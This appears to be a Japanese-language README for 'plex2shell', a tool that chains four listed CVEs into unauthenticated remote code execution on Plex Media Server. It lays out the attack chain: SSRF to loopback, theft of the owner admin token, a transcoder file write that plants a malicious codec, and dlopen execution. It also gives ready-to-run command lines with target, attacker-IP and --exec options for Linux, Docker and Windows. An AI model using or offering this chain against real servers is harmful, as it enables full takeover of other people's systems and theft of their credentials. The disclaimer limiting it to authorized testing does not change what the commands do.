gmh5225/plex2shellCVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656
Plex Media Server 1.43.3.10828 以前の認証不要 RCE チェーン。
CVSS 3.1: 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
解説記事: https://zmain.info/blog/plex2shell
本ツールは、許可されたセキュリティテスト、学術研究、 および防御目的のみのために公開されています。本ツールは、自身が所有するシステム、または テストについて明示的な書面による許可を得ているシステムに対してのみ使用してください。作者は本ツールの 誤用や損害について責任を負いません。コンピュータシステムへの 不正アクセスは違法です。
| CVE | プリミティブ |
|---|---|
| CVE-2026-96652 | /player/timeline の protocol= を介した認証不要の SSRF |
| CVE-2026-96654 | ループバックピボット: 無効化された認証ガード + searchOne の identifier= インジェクション |
| CVE-2026-96655 | オーナー認証済みトランスコーダー SSRF + 任意パスへのファイル書き込み (dump-yuv) |
| CVE-2026-96656 | Codecs セットディレクトリ内での未署名コーデックの dlopen によるコード実行 |
[素のインターネット、ジャンクトークン]
|
(1) /player/timeline --- SSRF ---> ループバックオリジン
|
(2) /system/agents/.../searchOne --- identifier= インジェクション --->
| クロスプラグイン RPC
|
(3) networking.py:149 --- 127.0.0.1.* プレフィックス混同 --->
| オーナー管理者トークンの窃取
v
攻撃者が OWNER 管理者トークンを保持
|
(4) /video/:/transcode/universal?path=<url> --- トランスコーダー SSRF --->
| 攻撃者のメディアを取得
|
(5) TranscoderH264Options=dump-yuv --- x264 が攻撃者の ELF を
| Codecs セットディレクトリに書き込み
v
2 回目のトランスコード -> すべての *.so を dlopen() -> コンストラクタが実行
v
[uid=1000(plex)]
ペイロードは、ロスレス (qp=0) キャリアのフレーム 0 のルーマであり、その
ffmpeg、gcc (Windows ターゲットの場合は x86_64-w64-mingw32-gcc)# Linux ネイティブ (.deb/.rpm):
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Docker:
python3 plex2shell.py --target-os linux-docker --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Windows:
python3 plex2shell.py --target-os windows --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# ワンショット:
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9 --exec "id; hostname"
その他のオプションは --help を参照してください。
GPLv3